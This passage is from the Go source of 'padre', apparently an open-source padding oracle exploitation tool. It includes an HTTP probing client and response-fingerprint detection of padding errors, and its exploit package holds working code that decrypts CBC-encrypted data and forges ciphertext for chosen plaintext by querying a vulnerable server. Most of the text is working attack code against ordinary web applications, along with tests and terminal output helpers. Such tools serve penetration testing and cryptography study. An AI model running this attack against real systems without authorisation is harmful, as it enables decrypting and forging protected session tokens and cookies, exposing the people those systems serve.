// mock http client
requestEventChan := make(chan byte, 1)
// chose encoder
encoder := encoder.NewB64encoder("")
// create test client
testURI := "/?data=$"
client := &Client{
HTTPclient: ts.Client(),
URL: ts.URL + testURI,
POSTdata: "data=$",
Cookies: []*http.Cookie{{Name: "key", Value: "$"}},
CipherPlaceholder: "$",
Encoder: encoder,
Concurrency: 1,
ContentType: "cont/type",
RequestEventChan: requestEventChan,
}
// total requests to be sent
totalRequestCount := 100
// counter for received requests
totalRequestsReceived := 0
// send some requests with random data
for i := 0; i < totalRequestCount; i++ {
// generate random chunk
data := util.RandomSlice(13)
dataEncoded := encoder.EncodeToString(data)
// send
response, err := client.DoRequest(context.Background(), data)
require.NoError(err)
// retrieve request event
totalRequestsReceived += int(<-requestEventChan)
// retrieve request that was sent to mocked http client
request := <-requestChan
// check URL formed properly
require.Equal(replacePlaceholder(testURI, "$", dataEncoded), request.RequestURI)
// check Body formed properly
require.Equal(replacePlaceholder(client.POSTdata, "$", dataEncoded), string(response.Body))
// check Cookie formed properly
cookie, err := request.Cookie("key")
require.NoError(err)
require.Equal(url.QueryEscape(dataEncoded), cookie.Value)
// check content type
require.Equal(request.Header.Get("Content-Type"), "cont/type")
}
// check total requests reported
require.Equal(totalRequestCount, totalRequestsReceived)
}
func TestClient_BrokenURL(t *testing.T) {
client := &Client{URL: " http://foo.com", Encoder: encoder.NewB64encoder("")}
_, err := client.DoRequest(context.Background(), []byte{})
require.Error(t, err)
}
func TestClient_NotRespondingServer(t *testing.T) {
client := &Client{
HTTPclient: http.DefaultClient,
URL: "http://localhost:1",
Encoder: encoder.NewB64encoder(""),
}
_, err := client.DoRequest(context.Background(), []byte{})
require.Error(t, err)
}
================================================
FILE: pkg/client/probe.go
================================================
package client
import (
"context"
"sync"
)
// equals to 2**8, since we're testing every possible value of a byte
const probeCount = 256
// ProbeResult - result of probe
type ProbeResult struct {
Byte byte
Response *Response
Err error
}
// SendProbes - given a chunk of bytes, place every possible byte-value at specified position.
// These probes are sent concurrently over HTTP.
// The results will be written into chanResult channel
func (client *Client) SendProbes(ctx context.Context, chunk []byte, pos int, chanResult chan *ProbeResult) {
// send byte values into this
chanIn := make(chan byte, probeCount)
/* run workers */
wg := sync.WaitGroup{}
for i := 0; i < client.Concurrency; i++ {
wg.Add(1)
go func() {
defer wg.Done()
// copy chunk to produce local concurrent-safe copy
chunkCopy := copySlice(chunk)
// do the work
for {
select {
case <-ctx.Done():
// early exit if context is cancelled
return
case b, ok := <-chanIn:
// exit when input channel exhausted
if !ok {
return
}
// modify byte at given position
chunkCopy[pos] = b
// make HTTP request
resp, err := client.DoRequest(ctx, chunkCopy)
if ctx.Err() == context.Canceled {
return
}
if err != nil {
// error during HTTP request
chanResult <- &ProbeResult{
Byte: b,
Err: err,
}
} else {
// send response
chanResult <- &ProbeResult{
Byte: b,
Response: resp,
}
}
}
}
}()
}
/* close output channel when workers are done */
go func() {
wg.Wait()
close(chanResult)
}()
/* input generator: every possible byte value */
go func() {
for i := 0; i <= 0xff; i++ {
chanIn <- byte(i)
}
close(chanIn)
}()
}
================================================
FILE: pkg/client/probe_test.go
================================================
package client
import (
"context"
"fmt"
"io/ioutil"
"net/http"
"net/http/httptest"
"net/url"
"testing"
"github.com/glebarez/padre/pkg/encoder"
"github.com/glebarez/padre/pkg/util"
"github.com/stretchr/testify/require"
)
func TestClient_SendProbes(t *testing.T) {
reqBodyChan := make(chan []byte, 1)
// special handler for propagating request body into channel
handler := func(w http.ResponseWriter, r *http.Request) {
// copy request body into the response
body, err := ioutil.ReadAll(r.Body)
require.NoError(t, err)
reqBodyChan <- body
fmt.Fprintln(w, "grabbed")
}
// new test server
ts := httptest.NewServer(http.HandlerFunc(handler))
defer ts.Close()
// chose encoder
encoder := encoder.NewB64encoder("")
// create test client
testURI := "/"
client := &Client{
HTTPclient: ts.Client(),
URL: ts.URL + testURI,
POSTdata: "$",
CipherPlaceholder: "$",
Encoder: encoder,
Concurrency: 1,
}
// generate random chunk
data := util.RandomSlice(20)
// test every position for a probe
for pos := 0; pos < len(data); pos++ {
// create channel for probe results
chanProbeResult := make(chan *ProbeResult, 1)
// send probes
go client.SendProbes(context.Background(), data, pos, chanProbeResult)
// get probe result
for probeResult := range chanProbeResult {
require.NoError(t, probeResult.Err)
// derive expected probe data
expectedProbe := copySlice(data)
expectedProbe[pos] = probeResult.Byte
// derive made probe data
// get request body received by the test server
requestBody, err := url.QueryUnescape(string(<-reqBodyChan))
require.NoError(t, err)
madeProbe, err := encoder.DecodeString(requestBody)
require.NoError(t, err)
// compare the two
require.Equal(t, expectedProbe, madeProbe)
}
}
}
================================================
FILE: pkg/client/response.go
================================================
package client
// Response - HTTP Response data
type Response struct {
StatusCode int
Body []byte
}
================================================
FILE: pkg/client/util.go
================================================
package client
import (
"net/url"
"strings"
)
// replace all occurrences of $ placeholder in a string, url-encoded if desired
func replacePlaceholder(s, placeholder, replacement string) string {
replacement = url.QueryEscape(replacement)
return strings.Replace(s, placeholder, replacement, -1)
}
// creates copy of a slice
func copySlice(slice []byte) []byte {
sliceCopy := make([]byte, len(slice))
copy(sliceCopy, slice)
return sliceCopy
}
================================================
FILE: pkg/color/color.go
================================================
package color
import (
"os"
"regexp"
"github.com/fatih/color"
"github.com/mattn/go-isatty"
)
var colorMatcher *regexp.Regexp
var Error = color.Error
func init() {
// override the standard decision on No-color mode
color.NoColor = os.Getenv("TERM") == "dumb" ||
(!isatty.IsTerminal(os.Stderr.Fd()) && !isatty.IsCygwinTerminal(os.Stderr.Fd()))
// matcher for coloring terminal sequences
colorMatcher = regexp.MustCompile("\033\\[.*?m")
}
/* coloring stringers */
var (
Red = color.New(color.FgRed).SprintFunc()
Bold = color.New(color.Bold).SprintFunc()
Yellow = color.New(color.FgYellow).SprintFunc()
RedBold = color.New(color.FgRed, color.Bold).SprintFunc()
CyanBold = color.New(color.FgCyan, color.Bold).SprintFunc()
Cyan = color.New(color.FgCyan).SprintFunc()
GreenBold = color.New(color.FgGreen, color.Bold).SprintFunc()
Green = color.New(color.FgGreen).SprintFunc()
HiGreenBold = color.New(color.FgHiGreen, color.Bold).SprintFunc()
Underline = color.New(color.Underline).SprintFunc()
YellowBold = color.New(color.FgYellow, color.Bold).SprintFunc()
)
// StripColor - strips ANSI color control characters from a string
func StripColor(s string) string {
return colorMatcher.ReplaceAllString(s, "")
}
// TrueLen returns true length of a colorized string in characters
func TrueLen(s string) int {
return len(StripColor(s))
}
================================================
FILE: pkg/color/color_test.go
================================================
package color
import "testing"
func TestTrueLen(t *testing.T) {
type args struct {
s string
}
tests := []struct {
name string
args args
want int
}{
{"nocolor", args{""}, 0},
{"nocolor", args{"x"}, 1},
{"nocolor", args{"xxx"}, 3},
{"colored", args{YellowBold("")}, 0},
{"colored", args{YellowBold("x")}, 1},
{"colored", args{YellowBold("xxx")}, 3},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := TrueLen(tt.args.s); got != tt.want {
t.Errorf("TrueLen() = %v, want %v", got, tt.want)
}
})
}
}
================================================
FILE: pkg/encoder/ascii.go
================================================
package encoder
import (
"fmt"
"strings"
)
// ASCII encoder
type asciiEncoder struct{}
// escapes non standard ASCII with \x notation
func (e asciiEncoder) EncodeToString(input []byte) string {
output := strings.Builder{}
for _, b := range input {
if b >= 32 && b <= 127 {
// ascii printable
err := output.WriteByte(b)
if err != nil {
panic(err)
}
} else {
_, err := output.WriteString(fmt.Sprintf("\\x%02x", b))
if err != nil {
panic(err)
}
}
}
return output.String()
}
// ... just to comply with interface
func (e asciiEncoder) DecodeString(input string) ([]byte, error) {
panic("Not implemented")
}
================================================
FILE: pkg/encoder/ascii_test.go
================================================
package encoder
import (
"testing"
"github.com/stretchr/testify/require"
)
func Test_asciiEncoder_EncodeToString(t *testing.T) {
e := NewASCIIencoder()
type args struct {
input []byte
}
tests := []struct {
name string
e Encoder
args args
want string
}{
{"empty", e, args{[]byte(``)}, ``},
{"nonascii", e, args{[]byte{0, 1, 255}}, `\x00\x01\xff`},
{"ascii", e, args{[]byte(`test`)}, `test`},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
e := asciiEncoder{}
if got := e.EncodeToString(tt.args.input); got != tt.want {
t.Errorf("asciiEncoder.EncodeToString() = %v, want %v", got, tt.want)
}
})
}
}
func Test_asciiEncoder_DecodeString(t *testing.T) {
e := &asciiEncoder{}
decode := func() {
e.DecodeString("") //nolint
}
require.Panicsf(t, decode, "", "")
}
================================================
FILE: pkg/encoder/factory.go
================================================
package encoder
import "encoding/base64"
func NewB64encoder(replacements string) Encoder {
return newEncoderWithReplacer(base64.StdEncoding, replacements)
}
func NewLHEXencoder(replacements string) Encoder {
return newEncoderWithReplacer(&lhexEncoder{}, replacements)
}
func NewASCIIencoder() Encoder {
return &asciiEncoder{}
}
================================================
FILE: pkg/encoder/hex.go
================================================
package encoder
import "encoding/hex"
// lowercase hex encoder/decoder
type lhexEncoder struct{}
func (h *lhexEncoder) EncodeToString(input []byte) string {
return hex.EncodeToString(input)
}
func (h *lhexEncoder) DecodeString(input string) ([]byte, error) {
return hex.DecodeString(input)
}
================================================
FILE: pkg/encoder/interface.go
================================================
package encoder
// Encoder - performs encoding/decoding
type Encoder interface {
EncodeToString([]byte) string
DecodeString(string) ([]byte, error)
}
// DecodeError ...
type DecodeError string
func (e DecodeError) Error() string { return string(e) }
================================================
FILE: pkg/encoder/replacer.go
================================================
package encoder
import (
"strings"
"github.com/glebarez/padre/pkg/util"
)
/* wrapper for encoderDecoder with characters replacements */
type encoderWithReplacer struct {
encoder Encoder
replacerAfterEncoding *strings.Replacer
replacerBeforeDecoding *strings.Replacer
}
// encode with replacement
func (r *encoderWithReplacer) EncodeToString(input []byte) string {
encoded := r.encoder.EncodeToString(input)
return r.replacerAfterEncoding.Replace(encoded)
}
// decode with replacement
func (r *encoderWithReplacer) DecodeString(input string) ([]byte, error) {
encoded := r.replacerBeforeDecoding.Replace(input)
decoded, err := r.encoder.DecodeString(encoded)
if err != nil {
return nil, err
}
return decoded, nil
}
// wrapper creator
func newEncoderWithReplacer(encoder Encoder, replacements string) Encoder {
return &encoderWithReplacer{
encoder: encoder,
replacerAfterEncoding: strings.NewReplacer(strings.Split(replacements, "")...),
replacerBeforeDecoding: strings.NewReplacer(strings.Split(util.ReverseString(replacements), "")...),
}
}
================================================
FILE: pkg/encoder/replacer_test.go
================================================
package encoder
import (
"encoding/base64"
"strings"
"testing"
"github.com/glebarez/padre/pkg/util"
"github.com/stretchr/testify/require"
)
func TestReplacer(t *testing.T) {
// test cases
tests := []struct {
name string
encoder Encoder
replFactory func(replacements string) Encoder
replString string
}{
{"b64", base64.StdEncoding, NewB64encoder, `=~/!+^`},
{"lhex", &lhexEncoder{}, NewLHEXencoder, `0zfyeT`},
}
// run tests
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// generate random byte string
byteData := util.RandomSlice(20)
// encode with basic encoder
encodedData := tt.encoder.EncodeToString(byteData)
// replace characters
encodedData = strings.NewReplacer(strings.Split(tt.replString, "")...).Replace(encodedData)
// compare results
replacer := tt.replFactory(tt.replString)
require.Equal(t, replacer.EncodeToString(byteData), encodedData)
// decode back and compare
decoded, err := replacer.DecodeString(encodedData)
require.NoError(t, err)
require.Equal(t, decoded, byteData)
// try decoding corrupted string
_, err = replacer.DecodeString(string(encodedData[:len(encodedData)-1]))
require.Error(t, err)
})
}
}
================================================
FILE: pkg/exploit/decrypt.go
================================================
package exploit
import "fmt"
func (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte, error) {
blockLen := p.BlockLen
// check length of ciphertext against block length
if len(ciphertext)%blockLen != 0 {
return nil, fmt.Errorf("Ciphertext length is not compatible with block length (%d %% %d != 0)", len(ciphertext), blockLen)
}
// confirm validity of provided cipher
pe, err := p.IsPaddingErrorInChunk(ciphertext)
if err != nil {
return nil, err
}
if pe {
return nil, fmt.Errorf("Input cipher produced a padding error. You must provide a valid cipher to decrypt")
}
// count blocks
blockCount := len(ciphertext) / blockLen
// derive length of plaintext
// NOTE: first block considered to be IV
plainLen := len(ciphertext) - blockLen
plainText := make([]byte, plainLen)
// decrypt block by block moving backwards, except first (IV)
for blockNum := blockCount; blockNum >= 2; blockNum-- {
// mark indexes
x := (blockNum - 2) * blockLen
y := (blockNum - 1) * blockLen
z := blockNum * blockLen
// get cipher block and corresponding IV from ciphertext
IV, block := ciphertext[x:y], ciphertext[y:z]
// derive the nulling IV for the block
nullingIV, err := p.breakCipher(block, newXORingStreamer(IV, byteStream))
if err != nil {
return nil, fmt.Errorf("error occurred while decrypting block %d: %w", blockNum, err)
}
// derive plaintext block
copy(plainText[x:y], xorSlices(nullingIV, IV))
}
return plainText, nil
}
================================================
FILE: pkg/exploit/encrypt.go
================================================
package exploit
import (
"fmt"
"github.com/glebarez/padre/pkg/util"
)
func (p *Padre) Encrypt(plainText string, byteStream chan byte) ([]byte, error) {
blockLen := p.BlockLen
// pad
plainText = Pkcs7Pad(plainText, blockLen)
// count the blocks
blockCount := len(plainText) / blockLen
// initialize a slice that will contain our cipherText (blockCount + 1 for IV)
cipher := make([]byte, (blockLen * (blockCount + 1)))
// last block is generated randomly
lastBlock := util.RandomSlice(blockLen)
copy(cipher[len(cipher)-blockLen:], lastBlock)
// the last block is already known, so we can fetch the bytes
// NOTE: they are fetcher in reverse order, just like any other byte throughout this exploit
if byteStream != nil {
for i := len(lastBlock) - 1; i >= 0; i-- {
byteStream <- lastBlock[i]
}
}
/* Start with the last block and move towards the 1st block.
Each block is used successively as a IV and then as a cipherText in the next iteration */
for blockNum := blockCount; blockNum >= 1; blockNum-- {
// mark indexes
x := (blockNum - 1) * blockLen
y := blockNum * blockLen
z := (blockNum + 1) * blockLen
plainBlock := []byte(plainText)[x:y]
// get nulling IV
nullingIV, err := p.breakCipher(cipher[y:z], newXORingStreamer(plainBlock, byteStream))
if err != nil {
return nil, fmt.Errorf("error occurred while encrypting block %d: %w", blockNum, err)
}
// reveal the cipher
copy(cipher[x:y], xorSlices(plainBlock, nullingIV))
}
return cipher, nil
}
================================================
FILE: pkg/exploit/exploit.go
================================================
package exploit
/* implementation of Padding Oracle exploit algorithm */
import (
"fmt"
"github.com/glebarez/padre/pkg/util"
)
// breaks cipher for a given block of ciphertext
// returns bytes (NullingIV) that are turning underlying plaintext into null-byte sequence when sent as IV
// the NullingIV can then be used in encryption or decryption, depending on what you XOR it with
// the streamFetcher can be passed to deliver bytes in in real-time as soon as they discovered
func (p *Padre) breakCipher(cipherBlock []byte, byteStreamer func(byte)) ([]byte, error) {
blockLen := len(cipherBlock)
// output buffer
output := make([]byte, blockLen)
// generate chunk of cipher with prepended random IV
cipherChunk := append(util.RandomSlice(blockLen), cipherBlock...)
// we start with the last byte of IV
// and repeat the same procedure for every byte moving backwards
for pos := blockLen - 1; pos >= 0; pos-- {
// discover the bytes that do not produce padding error
// NOTE: at last position there may be 2 such bytes*/
maxCount := 1
if pos == blockLen-1 {
maxCount = 2
}
found, err := p.getErrorlessByteValues(cipherChunk, pos, maxCount)
if err != nil {
return nil, err
}
/* check the results */
var foundByte *byte
switch len(found) {
case 0:
return nil, fmt.Errorf("failed to break the cipher")
case 1:
foundByte = &found[0]
case 2:
/* this case can ONLY happen in the last position of the block (see maxCount variable above)
here, we found 2 bytes that fit without padding oracle error
the challenge here is to find the one that produced \x01 in plaintext
the trick is:
if we modify second-last byte, and padding error still doesn't occur
then we are sure, that found byte produces \x01 at last position of plaintext
for more info, you can check this thread:
https://crypto.stackexchange.com/questions/37608/clarification-on-the-origin-of-01-in-this-oracle-padding-attack
*/
// modify second-last byte of IV
cipherChunk[pos-1]++
// send additional probes
for _, b := range found {
// set last byte to one of the found
cipherChunk[pos] = b
// check for padding error
paddingError, err := p.IsPaddingErrorInChunk(cipherChunk)
if err != nil {
return nil, err
}
if !paddingError {
// we found the truly valid byte
foundByte = &b
break
}
}
if foundByte == nil {
return nil, fmt.Errorf("failed to decrypt due to unexpected server behavior")
}
}
// XOR to retrieve output byte
paddingValue := byte(blockLen - pos)
outByte := *foundByte ^ paddingValue
// write to output buffer
output[pos] = outByte
// fetch immediately into byteStreamer if provided
if byteStreamer != nil {
byteStreamer(outByte)
}
// adjust padding for next iteration
cipherChunk[pos] = *foundByte
for i := pos; i < blockLen; i++ {
cipherChunk[i] ^= paddingValue ^ (paddingValue + 1)
}
}
return output, nil
}
================================================
FILE: pkg/exploit/padre.go
================================================
package exploit
import (
"github.com/glebarez/padre/pkg/client"
"github.com/glebarez/padre/pkg/probe"
)
type Padre struct {
Client *client.Client
Matcher probe.PaddingErrorMatcher
BlockLen int
}
================================================
FILE: pkg/exploit/probes.go
================================================
package exploit
import (
"context"
"github.com/glebarez/padre/pkg/client"
)
// detect byte values that do not produce padding error
// early-stop when maxCount of such bytes reached
func (p *Padre) getErrorlessByteValues(chunk []byte, pos int, maxCount int) ([]byte, error) {
// the context will be cancelled upon returning from function
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
// container for bytes that do not produce padding error
goodBytes := make([]byte, 0, maxCount)
chanResult := make(chan *client.ProbeResult, 256)
// do probing
go p.Client.SendProbes(ctx, chunk, pos, chanResult)
// process result
for result := range chanResult {
if result.Err != nil {
return nil, result.Err
}
// test for padding error
isErr, err := p.Matcher.IsPaddingError(result.Response)
if err != nil {
return nil, err
}
// collect the right bytes
if !isErr {
goodBytes = append(goodBytes, result.Byte)
// early exit of maxCount reached
if len(goodBytes) == maxCount {
break
}
}
}
return goodBytes, nil
}
// test concrete chunk for padding oracle
func (p *Padre) IsPaddingErrorInChunk(chunk []byte) (bool, error) {
// send
resp, err := p.Client.DoRequest(context.Background(), chunk)
if err != nil {
return false, err
}
// test for padding oracle
return p.Matcher.IsPaddingError(resp)
}
================================================
FILE: pkg/exploit/util.go
================================================
package exploit
import "strings"
// XORs 2 slices of bytes
func xorSlices(s1 []byte, s2 []byte) []byte {
if len(s1) != len(s2) {
panic("lengths of slices not equal")
}
output := make([]byte, len(s1))
for i := 0; i < len(s1); i++ {
output[i] = s1[i] ^ s2[i]
}
return output
}
func Pkcs7Pad(input string, blockLen int) string {
padding := blockLen - len(input)%blockLen
return input + strings.Repeat(string(byte(padding)), padding)
}
func newXORingStreamer(xorArg []byte, outChan chan byte) func(byte) {
// position at last byte of xorArg slice
pos := len(xorArg) - 1
return func(input byte) {
outChan <- (xorArg[pos] ^ input)
pos--
}
}
================================================
FILE: pkg/output/hackybar.go
================================================
package output
import (
"fmt"
"math/rand"
"strings"
"sync"
"time"
"github.com/glebarez/padre/pkg/color"
"github.com/glebarez/padre/pkg/encoder"
)
// output refresh frequency (times/second)
const updateFreq = 13
// HackyBar is the dynamically changing bar in status line.
// The bar reflects current state of output calculation.
// Apart from currently calculated part of output, it also shows yet-unknown part as a random mix of ASCII characters.
// This bar is designed to be fun and fast-changing.
// It also shows HTTP-client performance in real-time, such as: total http requests sent, average RPS
type HackyBar struct {
// output info
printer *Printer // printer to use
outputData []byte // container for byte-output
outputByteLen int // total number of bytes in output (before encoding)
encoder encoder.Encoder // encoder for the byte-output
Overflow bool // flag: terminal width overflowed, data was too wide
// communications
ChanOutput chan byte // delivering every byte of output via this channel
ChanReq chan byte // to deliver indicator of yet-another http request made
wg sync.WaitGroup // used to wait for gracefull exit after stop signal sent
// RPS calculation
start time.Time // the time of first request made, needed to properly calculate RPS
requestsMade int // total requests made, needed to calculate RPS
rps int // RPS
// the output properties
autoUpdateFreq time.Duration // interval at which the bar must be updated
encryptMode bool // whether encrypt mode is used
}
func CreateHackyBar(encoder encoder.Encoder, outputByteLen int, encryptMode bool, printer *Printer) *HackyBar {
return &HackyBar{
outputData: []byte{},
outputByteLen: outputByteLen,
wg: sync.WaitGroup{},
ChanOutput: make(chan byte, 1),
ChanReq: make(chan byte, 256),
autoUpdateFreq: time.Second / time.Duration(updateFreq),
encoder: encoder,
encryptMode: encryptMode,
printer: printer,
}
}
// stops the bar
func (p *HackyBar) Stop() {
close(p.ChanOutput)
p.wg.Wait()
}
// starts the bar
func (p *HackyBar) Start() {
go p.listenAndPrint()
}
/* designed to be run as goroutine.
collects information about current progress and then prints the info in HackyBar */
func (p *HackyBar) listenAndPrint() {
var (
// time since last print
lastPrint time.Time
// flag: output channel closed (no more data expected)
outputChanClosed bool
// counter for total output bytes received
outputBytesReceived int
)
p.wg.Add(1)
defer p.wg.Done()
/* listen for incoming events */
for {
select {
/* yet another output byte produced */
case b, ok := <-p.ChanOutput:
if ok {
p.outputData = append([]byte{b}, p.outputData...) //TODO: optimize this
outputBytesReceived++
} else {
outputChanClosed = true
}
/* yet another HTTP request was made. Update stats */
case <-p.ChanReq:
if p.requestsMade == 0 {
p.start = time.Now()
}
p.requestsMade++
secsPassed := int(time.Since(p.start).Seconds())
if secsPassed > 0 {
p.rps = p.requestsMade / int(secsPassed)
}
}
// the final status print
if outputChanClosed || outputBytesReceived == p.outputByteLen {
// avoid hacky mode
// this is because stop can be requested when some error happened,
// it that case we don't need to noise the unprocessed part of output with hacky string
statusString := p.buildStatusString(false)
p.printer.Println(statusString)
return
}
// usual output (still in progress)
if time.Since(lastPrint) > p.autoUpdateFreq {
statusString := p.buildStatusString(true)
p.printer.Printcr(statusString)
lastPrint = time.Now()
}
}
}
/* constructs full status string to be displayed */
func (p *HackyBar) buildStatusString(hacky bool) string {
/* the hacky-bar string is comprised of following parts |unknownOutput|knownOutput|stats|
- unknown output is the part of output that is not yet calculated, it is represented as 'hacky' string
- known output is the part of output that is already calculated, it is represented as output, encoded with *p.encoder
- stats
*/
/* generate unknown output */
unprocessedLen := p.outputByteLen - len(p.outputData)
if p.encryptMode {
unprocessedLen = len(p.encoder.EncodeToString(make([]byte, unprocessedLen)))
}
unknownOutput := unknownString(unprocessedLen, hacky)
/* generate known output */
knownOutput := p.encoder.EncodeToString(p.outputData)
/* generate stats */
stats := fmt.Sprintf(
"[%d/%d] | reqs: %d (%d/sec)", len(p.outputData), p.outputByteLen, p.requestsMade, p.rps)
/* get available space */
availableSpace := p.printer.AvailableWidth - len(stats) - 1 // -1 is for the space between output and stats
if availableSpace < 5 {
// a general fool-check
panic("Your terminal is to narrow. Use a real one")
}
/* if we have enough space, the logic is simple */
if availableSpace >= len(unknownOutput)+len(knownOutput) {
output := unknownOutput + color.HiGreenBold(knownOutput)
// pad with spaces to make stats always appear at the right edge of the screen
output += strings.Repeat(" ", availableSpace-len(unknownOutput)-len(knownOutput))
return fmt.Sprintf("%s %s", output, stats)
}
/* if we made it to here, we need to cut the output to fit into the available space
the main idea is to choose the split-point - the poisition at which unknown output ends and known output starts */
// at first, chose at 1/3 of available space
splitPoint := availableSpace / 3
// correct if knownOutput is too short yet
if len(knownOutput) < availableSpace-splitPoint {
splitPoint = availableSpace - len(knownOutput)
} else if len(unknownOutput) < splitPoint {
// correct if unknownOutput is too short
splitPoint = len(unknownOutput)
}
// put ... into the end of knownOutput if it's too long
if len(knownOutput) > availableSpace-splitPoint {
knownOutput = knownOutput[:availableSpace-splitPoint-3] + `...`
p.Overflow = true
}
outputString := unknownOutput[:splitPoint] + color.HiGreenBold(knownOutput)
/* return the final string */
return fmt.Sprintf("%s %s", outputString, stats)
}
/* generates string that represents the yet-unknown portion of output
when in 'hacky' mode, will produce random characters form ASCII printable range*/
func unknownString(n int, hacky bool) string {
b := make([]byte, n)
for i := range b {
if hacky {
b[i] = byte(rand.Intn(126-33) + 33) // byte from ASCII printable range
} else {
b[i] = '_'
}
}
return string(b)
}
================================================
FILE: pkg/output/prefix.go
================================================
package output
import (
"strings"
"github.com/glebarez/padre/pkg/color"
)
const (
space = ` `
)
// represents a current prefix
// the prefix allows for contexted printing
// the prefixes can be nested using outterPrefix attribute
// the top-most prefix has outterPrefix equal to nil
type prefix struct {
prefix string // the prefix to be output
indent string // indent to iutput on second+ lines of multiline outputs
len int // length of prefix and indent
lineFeeded bool // flag: line feeded (=true when first line was already output)
outterPrefix *prefix // pointer to outter parent prefix
paragraph bool // whether this prefix is paragraph
}
// renders prefix as string
func (p *prefix) string() string {
var s string
// form own prefix as string
if p.lineFeeded && p.paragraph {
s = p.indent
} else {
s = p.prefix + space
}
// add outter prefix (if any)
if p.outterPrefix == nil {
return s
}
return p.outterPrefix.string() + s
}
// sets lineFeeded flag
func (p *prefix) setLF() {
p.lineFeeded = true
if p.outterPrefix != nil {
p.outterPrefix.setLF()
}
}
// creates new prefix from string
func newPrefix(s string, outter *prefix, paragraph bool) *prefix {
spaceTaken := color.TrueLen(s) + 1 // prefix + space
return &prefix{
prefix: s,
indent: strings.Repeat(space, spaceTaken),
len: spaceTaken,
outterPrefix: outter,
paragraph: paragraph,
}
}
================================================
FILE: pkg/output/printer.go
================================================
package output
import (
"fmt"
"io"
"github.com/glebarez/padre/pkg/color"
)
// some often used strings
const (
_LF = "\n" // LF Line feed
_CR = "\x1b\x5b2K\r" // Clear Line + CR Carret return
)
// Printer is the printing facility
type Printer struct {
Stream io.Writer // the ultimate stream to print into
AvailableWidth int // available terminal width
cr bool // flag: caret return requested on next print (= print on same line please)
prefix *prefix // current prefix to use
}
// base internal print, everyone else must build upon this
func (p *Printer) print(s string) {
fmt.Fprint(p.Stream, s)
}
func (p *Printer) Print(s string) {
// CR debt ?
if p.cr {
p.print(_CR)
p.cr = false
}
// prefix
if p.prefix != nil {
p.print(p.prefix.string())
}
// print the contents
p.print(s)
}
// AddPrefix adds one more prefix to current printer
func (p *Printer) AddPrefix(s string, paragraph bool) {
p.prefix = newPrefix(s, p.prefix, paragraph)
p.AvailableWidth -= p.prefix.len
}
func (p *Printer) RemovePrefix() {
p.AvailableWidth += p.prefix.len
p.prefix = p.prefix.outterPrefix
}
func (p *Printer) Println(s string) {
p.Print(s)
p.print(_LF)
// set flag that line was feeded
if p.prefix != nil {
p.prefix.setLF()
}
}
func (p *Printer) Printcr(s string) {
p.Print(s)
p.cr = true
}
func (p *Printer) Printf(format string, a ...interface{}) {
p.Print(fmt.Sprintf(format, a...))
}
func (p *Printer) Printlnf(format string, a ...interface{}) {
p.Println(fmt.Sprintf(format, a...))
}
func (p *Printer) Printcrf(format string, a ...interface{}) {
p.Printcr(fmt.Sprintf(format, a...))
p.cr = true
}
func (p *Printer) PrintWithPrefix(prefix, message string) {
p.AddPrefix(prefix, false)
p.Println(message)
p.RemovePrefix()
}
func (p *Printer) Error(err error) {
p.PrintWithPrefix(color.RedBold("[-]"), color.Red(err))
}
func (p *Printer) Errorf(format string, a ...interface{}) {
p.Error(fmt.Errorf(format, a...))
}
func (p *Printer) Hint(format string, a ...interface{}) {
p.PrintWithPrefix(color.CyanBold("[hint]"), fmt.Sprintf(format, a...))
}
func (p *Printer) Warning(format string, a ...interface{}) {
p.PrintWithPrefix(color.YellowBold("[!]"), fmt.Sprintf(format, a...))
}
func (p *Printer) Success(format string, a ...interface{}) {
p.PrintWithPrefix(color.GreenBold("[+]"), fmt.Sprintf(format, a...))
}
func (p *Printer) Info(format string, a ...interface{}) {
p.PrintWithPrefix(color.CyanBold("[i]"), fmt.Sprintf(format, a...))
}
func (p *Printer) Action(s string) {
p.Printcr(color.Yellow(s))
}
================================================
FILE: pkg/probe/confirm.go
================================================
package probe
import (
"context"
"github.com/glebarez/padre/pkg/client"
"github.com/glebarez/padre/pkg/util"
)
// confirms existence of padding oracle
// returns true if confirmed, false otherwise
func ConfirmPaddingOracle(c *client.Client, matcher PaddingErrorMatcher, blockLen int) (bool, error) {
// create random block of ciphertext (IV prepended)
cipher := util.RandomSlice(blockLen * 2)
// test last byte of IV
pos := blockLen - 1
// channel to soak results
chanResult := make(chan *client.ProbeResult, 256)
// send probes
go c.SendProbes(context.Background(), cipher, pos, chanResult)
// count padding errors
count := 0
for result := range chanResult {
if result.Err != nil {
return false, result.Err
}
isErr, err := matcher.IsPaddingError(result.Response)
if err != nil {
return false, err
}
if isErr {
count++
}
}
// padding oracle must produce exactly 254 or 255 errors
return count == 254 || count == 255, nil
}
================================================
FILE: pkg/probe/detect.go
================================================
package probe
import (
"context"
"github.com/glebarez/padre/pkg/client"
"github.com/glebarez/padre/pkg/util"
)
// attempts to auto-detect padding oracle fingerprint
func DetectPaddingErrorFingerprint(c *client.Client, blockLen int) (PaddingErrorMatcher, error) {
// create random block of ciphertext (IV prepended)
cipher := util.RandomSlice(blockLen * 2)
// test last byte of IV
pos := blockLen - 1
// channel to soak results
chanResult := make(chan *client.ProbeResult, 256)
// fingerprint probes
go c.SendProbes(context.Background(), cipher, pos, chanResult)
// collect counts of fingerprints
fpMap := map[ResponseFingerprint]int{}
for result := range chanResult {
if result.Err != nil {
// error during probes
return nil, result.Err
}
fp, err := GetResponseFingerprint(result.Response)
if err != nil {
// error during fingerprinting
return nil, result.Err
}
fpMap[*fp]++
}
// padding oracles respond with predictable count of unique fingerprints
// following factors must be considered:
// a. some padding implmementations 'incorrect' padding from 'errornous' padding
// (e.g. if you pad cipher with block length of 16 with values grater than 16)
// padre considers following fingerprint counts as indication of padding error
patterns := [][]int{
{255, 1},
{254, 2},
{256 - blockLen, blockLen - 1, 1},
{256 - blockLen, blockLen - 2, 2},
}
// check if any of count-patterns matches
patternLoop:
for _, pat := range patterns {
fingerprints := make([]ResponseFingerprint, 0)
for fp, count := range fpMap {
if inSlice(pat, count) {
// do not include fingerprint of non-error response (last position in pattern)
if count != pat[len(pat)-1] {
fingerprints = append(fingerprints, fp)
}
} else {
continue patternLoop
}
}
// if we made it to here, we found a padding oracle
// return the matcher
return &matcherByFingerprint{
fingerprints: fingerprints,
}, nil
}
return nil, nil
}
func inSlice(slice []int, value int) bool {
for _, i := range slice {
if value == i {
return true
}
}
return false
}
================================================
FILE: pkg/probe/fingerprint.go
================================================
